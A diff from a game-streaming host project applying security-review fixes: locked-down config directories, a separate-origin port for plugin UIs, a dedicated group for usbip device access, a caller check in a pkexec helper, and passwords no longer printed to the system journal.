PathBuf::from(flag_val(args, "--app-dir").context("web setup: --app-dir <app> required")?);
|
||||
let pw_file = flag_val(args, "--password-file");
|
||||
let data_dir = pf_paths::config_dir();
|
||||
std::fs::create_dir_all(&data_dir).ok();
|
||||
// `create_private_dir`, not `create_dir_all`: this runs at install time, before anything else
|
||||
// touches the config dir, and the very next line writes the console login password into it. A
|
||||
// plain `create_dir_all` leaves the inherited `%ProgramData%` ACL, under which BUILTIN\Users may
|
||||
// create files — so the one call that most needs the hardened directory was the one creating it
|
||||
// unhardened (2026-08-05 review H-4).
|
||||
pf_paths::create_private_dir(&data_dir).ok();
|
||||
|
||||
// 1. login password
|
||||
set_web_password(&data_dir.join("web-password"), pw_file.as_deref());
|
||||
@@ -477,39 +655,51 @@ fn web_setup(args: &[String]) -> Result<()> {
|
||||
server.display()
|
||||
);
|
||||
}
|
||||
// 4. firewall: inbound TCP 47992. The console serves HTTPS (HTTP/1.1 over TLS) with the host's
|
||||
// identity cert. (No UDP/HTTP-3: browsers won't use QUIC against a self-signed/no-SAN cert.)
|
||||
// Scoped to the same profiles as the streaming ports — Domain + Private by default, Public
|
||||
// only with `--allow-public-network`. Delete any prior rule first so an upgrade re-scopes it
|
||||
// instead of stacking a second (possibly all-profiles) rule behind the new one.
|
||||
// 4. firewall: inbound TCP 47992 (console) and 47993 (plugin UIs). The console serves HTTPS
|
||||
// (HTTP/1.1 over TLS) with the host's identity cert. (No UDP/HTTP-3: browsers won't use QUIC
|
||||
// against a self-signed/no-SAN cert.) Scoped to the same profiles as the streaming ports —
|
||||
// Domain + Private by default, Public only with `--allow-public-network`. Delete any prior
|
||||
// rule first so an upgrade re-scopes it instead of stacking a second (possibly all-profiles)
|
||||
// rule behind the new one.
|
||||
//
|
||||
// 47993 is a SEPARATE ORIGIN, not a second copy of the console: plugin UIs are served there
|
||||
// precisely so a plugin cannot act as the logged-in operator on the console's origin
|
||||
// (security-review 2026-08-05 H-3). Same host, same certificate, different port — which is
|
||||
// what makes it a different origin to the browser while staying same-site for the session
|
||||
// cookie. Without this rule, plugin interfaces simply do not load from another device.
|
||||
let fw_profile =
|
||||
crate::service::firewall_profile_arg(crate::service::allow_public_network(args)?);
|
||||
run_quiet(
|
||||
"netsh",
|
||||
&[
|
||||
"advfirewall",
|
||||
"firewall",
|
||||
"delete",
|
||||
"rule",
|
||||
"name=Punktfunk web console (TCP 47992)",
|
||||
],
|
||||
);
|
||||
if !run_quiet(
|
||||
"netsh",
|
||||
&[
|
||||
"advfirewall",
|
||||
"firewall",
|
||||
"add",
|
||||
"rule",
|
||||
"name=Punktfunk web console (TCP 47992)",
|
||||
"dir=in",
|
||||
"action=allow",
|
||||
"protocol=TCP",
|
||||
"localport=47992",
|
||||
fw_profile,
|
||||
],
|
||||
) {
|
||||
eprintln!("warning: could not add the firewall rule for TCP 47992");
|
||||
for (name, port) in [
|
||||
("Punktfunk web console (TCP 47992)", "47992"),
|
||||
("Punktfunk plugin UIs (TCP 47993)", "47993"),
|
||||
] {
|
||||
run_quiet(
|
||||
"netsh",
|
||||
&[
|
||||
"advfirewall",
|
||||
"firewall",
|
||||
"delete",
|
||||
"rule",
|
||||
&format!("name={name}"),
|
||||
],
|
||||
);
|
||||
if !run_quiet(
|
||||
"netsh",
|
||||
&[
|
||||
"advfirewall",
|
||||
"firewall",
|
||||
"add",
|
||||
"rule",
|
||||
&format!("name={name}"),
|
||||
"dir=in",
|
||||
"action=allow",
|
||||
"protocol=TCP",
|
||||
&format!("localport={port}"),
|
||||
fw_profile,
|
||||
],
|
||||
) {
|
||||
eprintln!("warning: could not add the firewall rule for TCP {port}");
|
||||
}
|
||||
}
|
||||
// No start step: the PunktfunkHost service supervises the console and starts it the moment the
|
||||
// host has written the files it needs (mgmt token + identity cert/key) — there is nothing an
|
||||
|
||||
@@ -1343,14 +1343,26 @@ fn uninstall() -> Result<()> {
|
||||
/// defaults to `auto` — the host picks NVENC (NVIDIA) / AMF (AMD) / QSV (Intel) from the GPU vendor.
|
||||
fn ensure_default_host_env() -> Result<()> {
|
||||
let path = host_env_path();
|
||||
if path.exists() {
|
||||
return Ok(());
|
||||
}
|
||||
// Harden the config dir FIRST, unconditionally — before the `exists()` check, not inside the
|
||||
// branch that creates the file.
|
||||
//
|
||||
// The 2026-08-05 review's H-4: this used to return early when host.env already existed, which
|
||||
// skipped the very `create_private_dir` whose reason for existing is "so a local user can't
|
||||
// pre-create it and plant a host.env". `C:\ProgramData` grants BUILTIN\Users add-subdirectory
|
||||
// plus CREATOR OWNER full control, so an unprivileged user can create `C:\ProgramData\punktfunk`,
|
||||
// own it, and drop a host.env — and the skip meant the one case the hardening was written for was
|
||||
// the one case it never ran in. The service then loads that file verbatim into its own SYSTEM
|
||||
// environment and into the command line it launches (`PUNKTFUNK_HOST_CMD=…`).
|
||||
if let Some(dir) = path.parent() {
|
||||
// DACL-lock the config dir on creation so a local user can't pre-create it and plant a
|
||||
// host.env (which feeds the SYSTEM service's env + command line) — security-review #3.
|
||||
pf_paths::create_private_dir(dir).ok();
|
||||
}
|
||||
if path.exists() {
|
||||
// An existing host.env may predate the hardening (or have been planted before it ran), in
|
||||
// which case it is still owned by whoever created it — and an owner can rewrite the DACL it
|
||||
// inherited. Re-apply the SYSTEM/Administrators lock to the FILE as well as the directory.
|
||||
pf_paths::restrict_existing_secret_file(&path);
|
||||
return Ok(());
|
||||
}
|
||||
let default = "# punktfunk host configuration (read by the Windows service).\n\
|
||||
# KEY=VALUE per line; '#' comments. Restart the service after editing:\n\
|
||||
# punktfunk-host service stop && punktfunk-host service start\n\
|
||||
|
||||
@@ -4,8 +4,17 @@ _ensure_update_group() {
|
||||
getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || true
|
||||
}
|
||||
|
||||
_ensure_punktfunk_group() {
|
||||
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Separate from 'input' on
|
||||
# purpose: writing 'attach' materialises an arbitrary emulated USB device, which is a root-only
|
||||
# kernel primitive and must not ride on the group users are told to join for gamepads
|
||||
# (security-review 2026-08-05 M-4).
|
||||
getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || true
|
||||
}
|
||||
|
||||
post_install() {
|
||||
_ensure_update_group
|
||||
_ensure_punktfunk_group
|
||||
udevadm control --reload-rules 2>/dev/null || true
|
||||
udevadm trigger --subsystem-match=misc 2>/dev/null || true
|
||||
# Apply the UDP socket-buffer tuning now (also auto-applied at boot by systemd-sysctl).
|
||||
@@ -14,6 +23,9 @@ post_install() {
|
||||
punktfunk-host installed.
|
||||
1. Add yourself to the 'input' group for virtual gamepads:
|
||||
sudo usermod -aG input "$USER" # then re-login
|
||||
Only if you want the virtual Steam Deck pad (usbip), ALSO join 'punktfunk':
|
||||
sudo usermod -aG punktfunk "$USER"
|
||||
That group can emulate arbitrary USB devices — join it only on a machine you trust.
|
||||
2. Pick a backend config (gamescope is the no-desktop default on SteamOS/Deck):
|
||||
mkdir -p ~/.config/punktfunk
|
||||
cp /usr/share/punktfunk/host.env.bazzite ~/.config/punktfunk/host.env
|
||||
|
||||
@@ -289,6 +289,11 @@ set -e
|
||||
if [ "$1" = "configure" ]; then
|
||||
# The (empty) opt-in group for web-console-triggered updates — nobody is auto-added.
|
||||
getent group punktfunk-update >/dev/null 2>&1 || addgroup --system punktfunk-update 2>/dev/null || true
|
||||
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input':
|
||||
# writing 'attach' materialises an arbitrary emulated USB device — a root-only kernel
|
||||
# primitive that must not ride on the group users are told to join for gamepads
|
||||
# (security-review 2026-08-05 M-4).
|
||||
getent group punktfunk >/dev/null 2>&1 || addgroup --system punktfunk 2>/dev/null || true
|
||||
# Pick up the /dev/uinput rule without a reboot (best-effort, no-op in containers).
|
||||
udevadm control --reload-rules 2>/dev/null || true
|
||||
udevadm trigger --subsystem-match=misc 2>/dev/null || true
|
||||
@@ -296,6 +301,8 @@ if [ "$1" = "configure" ]; then
|
||||
sysctl -p /usr/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || true
|
||||
echo "punktfunk-host installed. Add yourself to the 'input' group for virtual gamepads:"
|
||||
echo " sudo usermod -aG input \"\$USER\" # then re-login"
|
||||
echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \"\$USER\""
|
||||
echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust."
|
||||
echo "Config: mkdir -p ~/.config/punktfunk && cp /usr/share/punktfunk-host/host.env.example ~/.config/punktfunk/host.env"
|
||||
echo "Enable: systemctl --user enable --now punktfunk-host"
|
||||
# Debian ships no active firewall and Ubuntu's ufw is inactive by default; hint whichever is present.
|
||||
|
||||
@@ -6,7 +6,8 @@
|
||||
Installed to /usr/lib/firewalld/services/ by the punktfunk-host package. NOT enabled automatically
|
||||
(packages never touch the admin's firewall). Only useful if you installed the console (punktfunk-web)
|
||||
AND want to reach it from another device on the LAN — the console binds all interfaces on TCP 47992
|
||||
(HTTPS, login-gated). The streaming host itself does not need this open; enable it deliberately with
|
||||
(HTTPS, login-gated), and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993 (see below).
|
||||
The streaming host itself does not need this open; enable it deliberately with
|
||||
firewall-cmd (add-service=punktfunk-web, then reload). CachyOS/Ubuntu: use the ufw punktfunk-web
|
||||
profile instead.
|
||||
|
||||
@@ -18,4 +19,12 @@
|
||||
<short>Punktfunk web console</short>
|
||||
<description>The optional punktfunk management web console (device pairing, status, GPU selection, performance graphs) over HTTPS. Open only if you run the punktfunk-web package and want the console reachable from other devices on the LAN.</description>
|
||||
<port protocol="tcp" port="47992"/> <!-- HTTPS web console (login-gated) -->
|
||||
<!--
|
||||
Plugin UIs, on their OWN ORIGIN. Not a second console: a plugin's interface is third-party code,
|
||||
and serving it on the console's origin let it act as the logged-in operator (security-review
|
||||
2026-08-05 H-3). Same host, same certificate, different port — a different origin to the browser,
|
||||
but still same-site, so the session cookie reaches it. Login-gated exactly like the console.
|
||||
Only needed if you use plugins that ship a UI and want to reach them from another device.
|
||||
-->
|
||||
<port protocol="tcp" port="47993"/> <!-- HTTPS plugin UIs (login-gated, separate origin) -->
|
||||
</service>
|
||||
|
||||
@@ -36,8 +36,15 @@ ports=47984,47989,48010/tcp|47998:48010/udp|5353/udp
|
||||
# Run the host with `--mgmt-bind 127.0.0.1:47990` to keep 47990 loopback-only (then don't open it).
|
||||
#
|
||||
# The optional web console (the separate punktfunk-web package). Open only if you installed it and
|
||||
# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated).
|
||||
# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated),
|
||||
# and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993.
|
||||
#
|
||||
# 47993 is not a second console. A plugin's interface is third-party code, and serving it on the
|
||||
# console's own origin let it act as the logged-in operator (security-review 2026-08-05 H-3). Same
|
||||
# host, same certificate, different port: a different ORIGIN to the browser, so the same-origin
|
||||
# policy is the boundary — but still the same SITE, so the login session still reaches it. It is
|
||||
# login-gated exactly like the console, and only needed for plugins that ship a UI.
|
||||
[punktfunk-web]
|
||||
title=punktfunk web console
|
||||
description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN
|
||||
ports=47992/tcp
|
||||
description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN, plus the separate-origin port its plugin UIs are served on
|
||||
ports=47992,47993/tcp
|
||||
|
||||
@@ -554,6 +554,10 @@ update-desktop-database %{_datadir}/applications >/dev/null 2>&1 || :
|
||||
%post
|
||||
# The (empty) opt-in group for web-console-triggered updates — nobody is auto-added.
|
||||
getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || :
|
||||
# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input': writing
|
||||
# 'attach' materialises an arbitrary emulated USB device — a root-only kernel primitive that must
|
||||
# not ride on the group users are told to join for gamepads (security-review 2026-08-05 M-4).
|
||||
getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || :
|
||||
# Reload udev so /dev/uinput picks up the new rule without a reboot (best-effort).
|
||||
udevadm control --reload-rules 2>/dev/null || :
|
||||
udevadm trigger --subsystem-match=misc 2>/dev/null || :
|
||||
@@ -561,6 +565,8 @@ udevadm trigger --subsystem-match=misc 2>/dev/null || :
|
||||
# it takes effect on the next boot into the layered deployment).
|
||||
sysctl -p %{_prefix}/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || :
|
||||
echo "punktfunk installed. Add yourself to the 'input' group (sudo usermod -aG input \$USER)"
|
||||
echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \$USER"
|
||||
echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust."
|
||||
echo "then enable the host: systemctl --user enable --now punktfunk-host"
|
||||
echo "Config: cp %{_datadir}/%{name}/host.env.bazzite ~/.config/punktfunk/host.env"
|
||||
# Fedora/RHEL run firewalld by default — point the way to the installed service definitions.
|
||||
@@ -584,7 +590,10 @@ fi
|
||||
echo "punktfunk-web installed. Enable the console for your user:"
|
||||
echo " systemctl --user enable --now punktfunk-web"
|
||||
echo "A login password is generated on first start — read it with:"
|
||||
echo " journalctl --user -u punktfunk-web-init | sed -n 's/.*password generated: //p'"
|
||||
# From the 0600 file, NOT the journal: the journal is persistent and group-readable (adm /
|
||||
# systemd-journal on Debian-family, and this hint was copied around), so telling people to fish a
|
||||
# password out of it published the secret to every member of those groups (review 2026-08-05 L-18).
|
||||
echo " cut -d= -f2- \${XDG_CONFIG_HOME:-\$HOME/.config}/punktfunk/web-password"
|
||||
echo "Then open https://<host-ip>:47992"
|
||||
%endif
|
||||
|
||||
|
||||
@@ -21,14 +21,25 @@ export const resolvePluginBase = (): string => {
|
||||
export const useIsEmbedded = (): boolean =>
|
||||
typeof window !== "undefined" && window.parent !== window;
|
||||
|
||||
/** Mirror a route into the console's address bar (best-effort, embedded only). */
|
||||
/**
|
||||
* Mirror a route into the console's address bar (best-effort, embedded only).
|
||||
*
|
||||
* The `"*"` target origin is load-bearing and must stay: the console frames plugin UIs from a
|
||||
* DIFFERENT ORIGIN than its own (they get their own port, so a plugin cannot act as the logged-in
|
||||
* operator — security-review 2026-08-05 H-3). Narrowing this to `window.location.origin` would
|
||||
* target the PLUGIN's origin, not the console's, and every message would be silently dropped.
|
||||
*
|
||||
* `"*"` is safe here because the payload is a route path the plugin itself just navigated to —
|
||||
* nothing secret — and the console verifies `event.origin` against the plugin origin before acting
|
||||
* on it, so the trust decision is made on the receiving side where it belongs.
|
||||
*/
|
||||
export const postNavigate = (path: string): void => {
|
||||
try {
|
||||
if (window.parent !== window) {
|
||||
window.parent.postMessage({ type: "pf-ui:navigate", path }, "*");
|
||||
}
|
||||
} catch {
|
||||
// cross-origin parent or detached — deep-link sync is best-effort
|
||||
// detached parent — deep-link sync is best-effort
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -14,9 +14,19 @@ KERNEL=="uhid", SUBSYSTEM=="misc", OPTIONS+="static_node=uhid", GROUP="input", M
|
||||
# usbip vhci attach/detach for the virtual Steam Deck controller. Steam Input only
|
||||
# adopts the virtual Deck when it arrives as a USB device (usbip/vhci or raw_gadget);
|
||||
# the UHID fallback has no USB interface and Steam ignores it. The sysfs attach files
|
||||
# are root-only by default while the host runs as a user service — grant the `input`
|
||||
# group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf).
|
||||
ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp input /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'"
|
||||
# are root-only by default while the host runs as a user service — grant the dedicated
|
||||
# `punktfunk` group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf).
|
||||
#
|
||||
# ⚠ This is deliberately NOT the `input` group (2026-08-05 review M-4). Writing `attach` hands the
|
||||
# kernel a caller-supplied socket fd and materialises an arbitrary, fully userspace-emulated USB
|
||||
# device — a root-only kernel primitive. Every packaging scriptlet tells the user to
|
||||
# `usermod -aG input $USER` as step 1, so putting it on `input` handed that primitive to a group
|
||||
# people are routinely told to join: a member could present a HID keyboard and inject keystrokes
|
||||
# into a root TTY or the lock screen, or drive any of hundreds of in-tree USB drivers from
|
||||
# userspace, all without CAP_SYS_ADMIN. The uinput/uhid grants above are already systemwide input
|
||||
# injection, but neither reaches kernel USB enumeration — this one does, so it gets its own group
|
||||
# that nothing else asks users to join.
|
||||
ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp punktfunk /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'"
|
||||
|
||||
# hidraw access for the VIRTUAL pads this host creates. Steam/SDL drive a DualSense's rich
|
||||
# feedback (adaptive triggers, lightbar, player LEDs) exclusively over hidraw — the kernel has no
|
||||
|
||||
@@ -10,6 +10,18 @@
|
||||
set -euo pipefail
|
||||
cd "$(dirname "$0")/.."
|
||||
|
||||
# Opus must be built FROM SOURCE, never picked up from the machine. `audiopus_sys` probes
|
||||
# pkg-config first, and a Homebrew libopus is compiled for the HOST macOS — its objects land
|
||||
# inside our staticlib carrying that minos (the deployment-target check at the end of this
|
||||
# script then fails with 143 SILK objects at the host's version). Whether the bundle is
|
||||
# usable would otherwise depend on whether the developer happens to have `brew install opus`,
|
||||
# which is exactly the kind of thing an artifact consumed by every Apple build must not
|
||||
# depend on. `OPUS_NO_PKG_CONFIG` forces the vendored build; the CMake policy floor is for
|
||||
# that vendored copy, whose CMakeLists still declares a pre-3.5 minimum that CMake 4 removed
|
||||
# support for.
|
||||
export OPUS_NO_PKG_CONFIG=1
|
||||
export CMAKE_POLICY_VERSION_MINIMUM="${CMAKE_POLICY_VERSION_MINIMUM:-3.5}"
|
||||
|
||||
TARGETS_MAC=(aarch64-apple-darwin x86_64-apple-darwin)
|
||||
BUILD_IOS="${BUILD_IOS:-0}" # BUILD_IOS=1 adds iOS device + simulator slices (rustup targets aarch64-apple-ios{,-sim})
|
||||
BUILD_TVOS="${BUILD_TVOS:-0}" # BUILD_TVOS=1 adds tvOS slices — TIER-3 Rust targets: needs `rustup toolchain install nightly` + `rustup component add rust-src --toolchain nightly`
|
||||
@@ -125,7 +137,14 @@ for obj in "$STAGE"/macos/libpunktfunk_core.a; do
|
||||
bad=$(otool -l "$obj" 2>/dev/null | awk '/minos/ {print $2}' | sort -uV | awk -F. '$1 > 14' | head -1)
|
||||
if [[ -n "$bad" ]]; then
|
||||
echo "ERROR: $obj contains objects built for macOS $bad (> 14.0)." >&2
|
||||
echo "Stale cache — rm -rf target/{aarch64,x86_64}-apple-darwin and rebuild." >&2
|
||||
echo "Two known causes:" >&2
|
||||
echo " 1. A system libopus linked instead of the vendored one (check the build" >&2
|
||||
echo " script output for a /opt/homebrew or /usr/local link-search path). This" >&2
|
||||
echo " script exports OPUS_NO_PKG_CONFIG=1 to prevent it — if you see it anyway," >&2
|
||||
echo " something overrode that." >&2
|
||||
echo " 2. A stale cache: cargo does not fingerprint MACOSX_DEPLOYMENT_TARGET." >&2
|
||||
echo " rm -rf target/{aarch64,x86_64}-apple-darwin and rebuild." >&2
|
||||
echo "Identify the offenders with: ar x $obj && otool -l *.o | grep -B1 minos" >&2
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
|
||||
@@ -52,7 +52,19 @@ fi
|
||||
# it `kwin_wayland --virtual` brings up NO X server at all (no display reserved), and those apps die
|
||||
# with "Missing X Server or $DISPLAY". KWin starts Xwayland on demand but reserves + logs the X11
|
||||
# display up front, which the detection below reads.
|
||||
KWIN_LOG="${TMPDIR:-/tmp}/punktfunk-kwin.log"
|
||||
# The log lives in the per-user 0700 XDG_RUNTIME_DIR, not at a fixed name in a world-writable
|
||||
# /tmp. This file is not just a log: the DISPLAY detection below GREPS it for "Using public X11
|
||||
# display :N" and exports the result, so at a predictable path in a shared directory any local user
|
||||
# could pre-create it (or symlink it) and steer the DISPLAY of a shipped systemd service
|
||||
# (2026-08-05 review L-15). `pf-vdisplay` already resolves XDG_RUNTIME_DIR for its own paths; this
|
||||
# matches. Without a runtime dir, fall back to a private mktemp rather than a guessable name.
|
||||
if [[ -n "${XDG_RUNTIME_DIR:-}" && -d "${XDG_RUNTIME_DIR}" ]]; then
|
||||
KWIN_LOG="${XDG_RUNTIME_DIR}/punktfunk-kwin.log"
|
||||
: >"$KWIN_LOG"
|
||||
chmod 600 "$KWIN_LOG"
|
||||
else
|
||||
KWIN_LOG="$(mktemp -t punktfunk-kwin.XXXXXXXX.log)"
|
||||
fi
|
||||
kwin_wayland --virtual --xwayland --width "$W" --height "$H" --no-lockscreen \
|
||||
--socket "$WAYLAND_DISPLAY" >"$KWIN_LOG" 2>&1 &
|
||||
KWIN_PID=$!
|
||||
|
||||
@@ -11,7 +11,14 @@
|
||||
grant is scoped to the box's own local-seat session lifecycle — the same class of operation
|
||||
these distros already authorize for their session switcher (e.g. Nobara's
|
||||
os-session-select, allow_any). allow_any because the host commonly runs sessionless (a
|
||||
lingering user unit, no polkit agent), where interactive auth can never be answered. -->
|
||||
lingering user unit, no polkit agent), where interactive auth can never be answered.
|
||||
|
||||
⚠ These defaults authorize every local subject — including a seatless ssh session or a
|
||||
service account — so they are NOT the whole authorization story (2026-08-05 review L-14).
|
||||
They cannot be tightened without breaking the lingering-user-unit deployment, which polkit
|
||||
classifies under allow_any precisely because it has no session. The actual gate is in the
|
||||
helper: pf-dm-helper refuses any caller whose PKEXEC_UID is not in the `punktfunk` group.
|
||||
Keep the two in step — loosening the helper's check makes these defaults load-bearing. -->
|
||||
<action id="io.unom.punktfunk.dm-helper">
|
||||
<description>Stop or restore the display manager for a Punktfunk stream</description>
|
||||
<message>Authentication is required to switch the display manager for a Punktfunk stream</message>
|
||||
|
||||
+35
-7
@@ -13,6 +13,38 @@
|
||||
# local-seat operation, not arbitrary unit management.
|
||||
set -eu
|
||||
|
||||
# The polkit action has to stay permissive (`allow_any=yes`): the host commonly runs as a LINGERING
|
||||
# user unit, which has no logind session at all, so polkit classifies it under `allow_any` and any
|
||||
# stricter default would make the takeover unauthorizable in its primary deployment. The cost of
|
||||
# that is that polkit alone authorizes *every* local subject — a seatless ssh session, a service
|
||||
# account — to run this as root (2026-08-05 review L-14).
|
||||
#
|
||||
# So the authorization decision is made HERE instead, where the caller is knowable: pkexec sets
|
||||
# PKEXEC_UID from the authenticated caller, and only a member of the `punktfunk` group (created by
|
||||
# the packages) may proceed. That keeps the sessionless host working while making membership of one
|
||||
# explicit group — not merely "has a local uid" — the thing that grants these verbs.
|
||||
require_authorized_caller() {
|
||||
uid=${PKEXEC_UID:-}
|
||||
[ -n "$uid" ] || {
|
||||
echo "pf-dm-helper: no PKEXEC_UID in the environment — refusing to run unauthenticated" >&2
|
||||
exit 1
|
||||
}
|
||||
user=$(getent passwd "$uid" | cut -d: -f1) || user=
|
||||
[ -n "$user" ] || {
|
||||
echo "pf-dm-helper: PKEXEC_UID $uid resolves to no local user — refusing" >&2
|
||||
exit 1
|
||||
}
|
||||
# `id -nG` lists the primary group too, so a user whose primary group IS punktfunk also passes.
|
||||
for g in $(id -nG "$user" 2>/dev/null); do
|
||||
[ "$g" = punktfunk ] && return 0
|
||||
done
|
||||
echo "pf-dm-helper: user '$user' is not in the 'punktfunk' group — refusing." >&2
|
||||
echo " Grant it with: sudo usermod -aG punktfunk $user (then re-login)" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
require_authorized_caller
|
||||
|
||||
dm_unit() {
|
||||
target=$(readlink /etc/systemd/system/display-manager.service) || {
|
||||
echo "pf-dm-helper: no display-manager.service alias — no display manager to manage" >&2
|
||||
@@ -40,13 +72,9 @@ case "${1-}" in
|
||||
# what breaks that dependency (the setup docs already ask for it).
|
||||
#
|
||||
# The user is NEVER caller-named: PKEXEC_UID is set by pkexec from the authenticated caller,
|
||||
# so this grant enables lingering for that caller alone.
|
||||
uid=${PKEXEC_UID:-}
|
||||
[ -n "$uid" ] || {
|
||||
echo "pf-dm-helper: no PKEXEC_UID in the environment — refusing to guess a user" >&2
|
||||
exit 1
|
||||
}
|
||||
exec loginctl enable-linger "$uid"
|
||||
# so this grant enables lingering for that caller alone. (Its presence is already checked by
|
||||
# `require_authorized_caller` above, which also proved the caller is in the punktfunk group.)
|
||||
exec loginctl enable-linger "${PKEXEC_UID}"
|
||||
;;
|
||||
*)
|
||||
echo "usage: pf-dm-helper stop|restore|linger" >&2
|
||||
|
||||
@@ -185,6 +185,11 @@ ok "plugin runner: ~/.local/bin/punktfunk-scripting"
|
||||
# --- 3. config -------------------------------------------------------------
|
||||
log "Configuration ($CONFIG)"
|
||||
mkdir -p "$CONFIG"
|
||||
# Owner-only: this directory holds web.env (console password + session secret), the mgmt token and
|
||||
# the host key. A plain `mkdir -p` leaves it 0755 at the Deck's default umask, so the secrets below
|
||||
# sat in a world-TRAVERSABLE directory (2026-08-05 review L-19). Matches what the host itself does
|
||||
# via `pf_paths::create_private_dir`, and is idempotent on an existing dir.
|
||||
chmod 700 "$CONFIG" 2>/dev/null || true
|
||||
if [ ! -f "$CONFIG/host.env" ]; then
|
||||
cat > "$CONFIG/host.env" <<'EOF'
|
||||
# punktfunk Steam Deck host config (sourced by the punktfunk-host user service).
|
||||
@@ -235,10 +240,16 @@ if [ "$WITH_WEB" = 1 ] && [ ! -f "$CONFIG/web.env" ]; then
|
||||
# `|| true` swallows the SIGPIPE `tr` takes when `head` closes the pipe (pipefail would abort).
|
||||
WEB_PW="$(LC_ALL=C tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c 12 || true)"
|
||||
WEB_SECRET="$(LC_ALL=C tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c 32 || true)"
|
||||
cat > "$CONFIG/web.env" <<EOF
|
||||
# `umask 077` around the redirect, not `chmod 600` after it: the heredoc CREATES the file at
|
||||
# the ambient umask (0022 on a Deck ⇒ world-readable), so the console password and session
|
||||
# secret existed group/world-readable for the window between the redirect and the chmod
|
||||
# (2026-08-05 review L-19). Setting the mask first means the file is never readable at all.
|
||||
# The chmod stays as the idempotent belt for a pre-existing file.
|
||||
(umask 077; cat > "$CONFIG/web.env" <<EOF
|
||||
PUNKTFUNK_UI_PASSWORD=$WEB_PW
|
||||
PUNKTFUNK_UI_SECRET=$WEB_SECRET
|
||||
EOF
|
||||
)
|
||||
chmod 600 "$CONFIG/web.env"
|
||||
ok "wrote web.env (generated login password)"
|
||||
else
|
||||
|
||||
+9
-2
@@ -14,6 +14,13 @@ if [ ! -s "$PWFILE" ]; then
|
||||
PW=$(head -c 18 /dev/urandom | base64 | tr -d '/+=' | cut -c1-20)
|
||||
(umask 077; printf 'PUNKTFUNK_UI_PASSWORD=%s\n' "$PW" > "$PWFILE")
|
||||
chmod 600 "$PWFILE" 2>/dev/null || true
|
||||
echo "punktfunk web console login password generated: $PW"
|
||||
echo "(stored in $PWFILE — open https://<host-ip>:47992 and log in)"
|
||||
# Do NOT echo the password itself. Anything this script prints is captured by systemd into
|
||||
# the PERSISTENT journal, which on Debian/Ubuntu is readable by the `adm` and
|
||||
# `systemd-journal` groups — so printing it published a 0600 secret to every member of them,
|
||||
# permanently, and the .deb postinst then documented `journalctl` as the way to read it
|
||||
# (2026-08-05 review L-18). Point at the file instead: it is the same one command, it is
|
||||
# correctly 0600, and it stays readable only by the user who owns the console.
|
||||
echo "punktfunk web console login password generated."
|
||||
echo "Read it with: cut -d= -f2- $PWFILE"
|
||||
echo "(then open https://<host-ip>:47992 and log in)"
|
||||
fi
|
||||
|
||||
@@ -44,3 +44,16 @@ PUNKTFUNK_UI_SECURE=1
|
||||
# The Bun server binds these (standard Nitro env):
|
||||
# PORT=47992
|
||||
# HOST=0.0.0.0
|
||||
|
||||
# The port plugin UIs are served on — their OWN ORIGIN, not the console's. Defaults to PORT + 1.
|
||||
#
|
||||
# This is a security boundary, not a layout choice. A plugin's interface is third-party code; served
|
||||
# on the console's origin it ran as first-party script with the operator's session and could drive
|
||||
# the whole admin API (security-review 2026-08-05 H-3). Same host, same certificate, different port
|
||||
# means a different ORIGIN to the browser (so the same-origin policy separates them) while staying
|
||||
# the same SITE (so the SameSite=Lax session cookie still reaches it and plugin pages keep working).
|
||||
#
|
||||
# The console refuses to serve plugin UIs on its own origin, so if this port cannot be bound, plugin
|
||||
# UIs are DISABLED rather than silently moved back — the console says so on the plugin page.
|
||||
# Open it in the firewall alongside PORT if you reach the console from other devices.
|
||||
# PUNKTFUNK_UI_PLUGIN_PORT=47993
|
||||
|
||||
@@ -10,6 +10,11 @@
|
||||
"nav_library": "Bibliothek",
|
||||
"nav_plugins": "Plugins",
|
||||
"plugin_offline_title": "Dieses Plugin läuft nicht",
|
||||
"plugin_origin_untrusted_title": "Port dieses Plugins einmal best\u00e4tigen",
|
||||
"plugin_origin_untrusted_hint": "Plugin-Oberfl\u00e4chen laufen auf einem eigenen Port, damit ein Plugin nicht in deinem Namen auf der Konsole handeln kann. Dein Browser vertraut dem Zertifikat dieses Hosts f\u00fcr den Konsolen-Port, aber noch nicht f\u00fcr diesen — und in einem Frame kann er nicht nachfragen. \u00d6ffne ihn einmal in einem Tab, best\u00e4tige das Zertifikat und komm zur\u00fcck.",
|
||||
"plugin_origin_untrusted_open": "In neuem Tab \u00f6ffnen",
|
||||
"plugin_origin_unavailable_title": "Plugin-Oberfl\u00e4chen sind nicht verf\u00fcgbar",
|
||||
